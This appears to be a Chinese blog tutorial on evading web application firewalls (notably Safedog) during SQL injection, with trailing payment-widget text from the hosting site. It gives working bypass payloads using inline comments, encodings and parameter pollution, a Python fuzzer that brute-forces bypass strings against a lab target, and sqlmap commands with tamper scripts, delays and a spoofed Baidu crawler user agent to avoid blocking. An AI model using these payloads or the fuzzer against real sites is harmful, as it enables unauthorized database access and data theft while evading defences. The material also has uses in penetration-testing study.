SQL注入之WAF绕过

SQL注入之WAF绕过

  • 数据
  1. 大小写
  2. 加密解密
  3. 编码解码
  4. 等价函数
  5. 特殊符号
  6. 反序列化
  7. 注释符混用
  • 方式
  1. 更改提交方式
  2. 变异
  • 其他
  1. Fuzz大法
  2. 数据库特性
  3. 垃圾数据溢出
  4. HTTP参数污染
大小写关键字替换

id=1 UnioN/**/SelEct 1,user()
Hex() bin() 等价 acsii()
sleep() 等价于 benchmark()
Mid() substring()等价于 substr()
@@user 等价 user()
@@version 等价 version()

各种编码

大小写,URL hex %0A等

注释使用

//
–+
– (两个-加空格)
(#)(这里是单个#,用括号是因为会被注释了)
//
+
;%00
/!
/

再次循环

union==uunionnion

等价替换

user() = @@user()
and=&
or=|
ascii=hex等

参数污染

?id=1&id=2&id=3

编码解码以及加密解密

s->%73->%25%37%33
hex,unlcode,base64等

更改请求提交方式

GET POST COOKIE
POST->multipart/from-data

中间件HTTP参数污染
数据库特性
  1. MySQL技巧
  • MySQL注释符有三种:#、/----/、-- 、…(注意–后有一个空格)
  • 空格符:[0x09,0x0a-0x0d,0x20,0xa0]
  • 特殊符号:%a 换行符
    可结合注释符使用%230a,%2d%2d%0a
  • 内联注释
    /*!Union123456Select / 1,user() //数字范围1000-50540
    /
    !50000union Select */ 1,user()
    下面有与fuzz配合的 代码
    表示如果mysql版本大于5.00.00版本就执行,不被注释,如果低于则被注释
  • mysql黑魔法
    select{x username} from {x11 test.admin};
    union all%23%0a select 1,2,version()’
  1. SQL Server技巧
  • 用注释掉注释后查询的其余部分
    /* C语言风格注释
    – SQL注释(两个-加空格)
    ; 00% 空字节
  • 空白符:[0x01-0x20]
  • 特殊符号:%3a 冒号
    id=1 union;elect 1,2 from:admin
  • 函数变形:如db_name [空白字符] ()
  1. Oracle技巧
  • 注释符::–和/**/
  • 空白字符:[0x00,0x09,0x0a-0x0d,0x20]
  1. 配合FUZZ
    select * from admin where id=1 [位置一] union [位置二] select [位置三] 1,2,db_name [位置四] from [位置五] admin

注入方法
id=-1
~ ! %0A
id=-1 union // select 1,2,3 --+
id=-1 union%23a%0Aselect 1,2,3 --+
不能正常运行
id=-1 uni/
/on select 1,2,3 --+
d=-1 uni/**/on select 1,2,3 --+

HTTP参数污染

给多个参数如:/?id=12&23
这个时候就是看服务器会接收那个内容,如果是php/apache那么获取的就是后面的内容,如果是jsp/tomcat的话就是第一个
在这里插入图片描述
在mysql中/** select username from users*/是不能执行的,属于注释符
1/**-1 union select 1,2,3#*/

白名单

方式一:IP白名单
从网络层获取的IP一般无法伪造,如果是获取客户端的,那么存在伪造IP绕过。
伪造为百度爬虫的请求头(让WAF以为是官方的爬虫,达到绕过)

fuzz代码实现
import requests, time

url = 'http://10.1.1.120/Less-2/?id=1'
union = 'union'
select = 'select'
num = '1,2,3'
a = {'%0a', '%23'}
aa = {'x'}
aaa = {'%0a', '%23'}
b = '/*!'
c = '/*'


def bypass():
    for xiaodi in a:
        for xiaodis in aa:
            for xiaodiss in aaa:
                for two in range(44500, 44600):
                    urls = url + xiaodi + xiaodis + xiaodiss + b + str(two) + union + c + xiaodi + xiaodis + xiaodiss + select + xiaodi + xiaodis + xiaodiss + num
                    try:
                        result = requests.get(urls).text
                        len_r = len(result)
                        if (result.find('safedog') == -1):
                            # print('bypass url address:'+ urls+'|'+ str(len_r))
                            print('bypass url address:' + urls + '|' + str(len_r))
                            if len_r == 715:
                                fp = open('url,txt', 'a+')
                                fp.write(urls + '\n')
                                fp.close()
                    except Exception as err:
                        print('connecting error')
                        time.sleep(0.1)


if __name__ == '__main__':
    print('fuzz start')
    bypass()

SQLmap

sqlmap -u “http://www.xxxx.com/?id=1” --tamper=xxx.py --proxy=http://127.0.0.1:8888 --random-agent
–random-agent随机出现请求头,避免被墙(不改的话就是用默认sqlmap.org的请求头,直接就拦截了)
使用比如百度爬虫的请求头就不会被墙
在这里插入图片描述

自定义请求头
sqlmap -u “http://www.xxxx.com/?id=1” --tampper xxx.py --user-Agent=”Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)“
延时注入,避免被墙
–delay 1 每一秒注入一次

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值